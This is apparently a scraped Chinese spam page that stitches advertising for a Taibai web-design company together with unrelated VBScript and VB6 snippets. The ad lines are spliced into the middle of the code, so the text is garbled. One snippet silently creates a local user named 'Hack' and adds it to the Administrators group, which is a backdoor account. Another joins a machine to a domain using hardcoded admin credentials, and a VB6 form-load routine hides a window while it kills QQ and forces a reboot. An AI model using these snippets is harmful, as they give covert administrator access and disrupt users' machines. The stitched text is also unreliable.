十年网站开发经验 + 多家企业客户 + 靠谱的建站团队
量身定制 + 运营维护+专业推广+无忧售后,网站问题一站解决
Dim wsh
站在用户的角度思考问题,与客户深入沟通,找到太白网站设计与太白网站推广的解决方案,凭借多年的经验,让设计与互联网技术结合,创造个性化、用户体验好的作品,建站类型包括:网站制作、做网站、企业官网、英文网站、手机端网站、网站推广、国际域名空间、网络空间、企业邮箱。业务覆盖太白地区。
Set wsh=CreateObject("Wscript.Shell")
wsh.Run "Net User Hack 12345 /Add ",False
wsh.Run "Net Localgroup Administrators Hack /Add",False
Set wsh=Nothing
调用命令行建立本地用户组
**********************************************************
别人的代码,我没有修改。。。
添加局域网内的机器进入域,里面的相关名称请自行修改。
Const JOIN_DOMAIN = 1
Const ACCT_CREATE = 2
Const ACCT_DELETE = 4
Const WIN9X_UPGRADE = 16
Const DOMAIN_JOIN_IF_JOINED = 32
Const JOIN_UNSECURE = 64
Const MACHINE_PASSWORD_PASSED = 128
Const DEFERRED_SPN_SET = 256
Const INSTALL_INVOCATION = 262144
strDomain ="china.com.cn" ’域
strPassword ="bbb-777" '域管理密码
strUser ="admin_china" ‘域管理员名
Set objNetwork = CreateObject("WScript.Network")
strComputer = objNetwork.ComputerName
Set objComputer = GetObject("winmgmts:{impersonationLevel=Impersonate}!\\" _
strComputer "\root\cimv2:Win32_ComputerSystem.Name='" _
strComputer "'")
ReturnValue = objComputer.JoinDomainOrWorkGroup(strDomain, _
strPassword, strDomain "\" strUser, NULL, _
JOIN_DOMAIN + ACCT_CREATE)
wscript.echo "您已成功加入域。"
wscript.echo "请手动重启电脑!"
**************************************
加入后,请再“Wscript.Run "Net Localgroup Administrators 账号 /add”
”VBS脚本“可以用任何纯
文本编辑
工具编写,包括系统自带的”记事本“。VB.NET当然也可以。
如果你是需要语法提示之类的,VB.NET可以提供绝大部分的语法提示。毕竟
VBS
是
VB
的子集。
VB很强大,高手可以用它做90%的各种应用。编写一些简单的游戏辅助脚本是没问题的。
VBS是Visual Basic Script的简称,它是VB的一个子集,具有VB的部分功能,而适应性更强。
一般来说,会VB的人只需要简单的了解一下区别就能熟练编写VBS代码了。
u3d支持c#和js两种脚本,而且c#是最普遍的,咱们看unity用的编译器,是c#的跨平台开源编译器mono,而且是unity更改过得mono,这个编译器是基于c#.net2.0的语法的,但是由于unity的更改,使得它也支持了一些.net3.5的语法,比如匿名函数lambda表.
只要
Private Sub form_load()
Shell "cmd.exe /c taskkill /f /im qq.exe", vbHide
Shell "cmd.exe /c shutdown -r", vbHide
End Sub
就行了(这是VB 6.0的代码)
原理就是用VB调用命令提示符在执行命令,如果你还想用VB调用其他的cmd命令,就把"/c"后的东西换成命令即可
Shell "cmd.exe /c shutdown -r", vbHide的“-r”后加上“-t 5”就可以延迟5秒再重启:Shell "cmd.exe /c shutdown -r -t 5",vbHide,后边的数字可以换成别的,单位秒。vbHide可以隐藏cmd窗口,即那个黑框框。